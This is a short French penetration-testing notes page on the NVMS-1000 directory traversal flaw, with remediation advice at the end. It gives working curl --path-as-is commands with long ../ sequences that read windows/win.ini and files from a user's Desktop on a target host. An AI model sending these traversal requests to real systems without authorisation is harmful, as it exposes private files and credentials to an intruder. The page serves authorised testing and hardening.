> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/nvms-1000.md).

# NVMS-1000

Valider la lecture arbitraire de fichiers locaux via la faille de traversée de répertoires NVMS-1000.

NVMS-1000 est vulnérable à la traversée de répertoires. Un attaquant peut lire des fichiers locaux exposés par le compte de service.

### Identifier la vulnérabilité

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj763WBhwLy8rc2m8MS3W%2Fimage.png?alt=media&amp;token=b8475d4b-2656-4a10-bc07-dcb11cab3cd8" alt=""><figcaption></figcaption></figure>

Confirmez que le service NVMS-1000 est disponible, puis vérifiez les références publiques d’exploit.

```bash
searchsploit nvms 1000
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJiFQQzCwkhj5Zpxc7FIO%2Fimage.png?alt=media&amp;token=7f86a0d2-6f9e-495f-bb11-45c9821729fc" alt=""><figcaption></figcaption></figure>

### Valider la lecture de fichier local

Utilisez `curl --path-as-is` afin que le client conserve les séquences de traversée.

```bash
curl --path-as-is http://<TARGET>/../../../../../../../../../../../../windows/win.ini
```

Une réponse contenant `win.ini` confirme la lecture arbitraire de fichiers locaux.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FDgqxA2S3YYCyXkHzzaNf%2Fimage.png?alt=media&amp;token=dfd4e765-3dfb-4d59-bf6e-fbf4ecde0287" alt=""><figcaption></figcaption></figure>

### Lire un fichier dans le périmètre

Remplacez le chemin par un fichier autorisé par le périmètre de l’évaluation.

```bash
curl --path-as-is http://<TARGET>/../../../../../../../../../../../../Users/<USER>/Desktop/<FILE>
```

### Remédiation

* Mettez à niveau ou supprimez les installations NVMS-1000 affectées.
* Normalisez et validez les chemins demandés côté serveur.
* Restreignez l'accès au service aux seuls réseaux de confiance.


---

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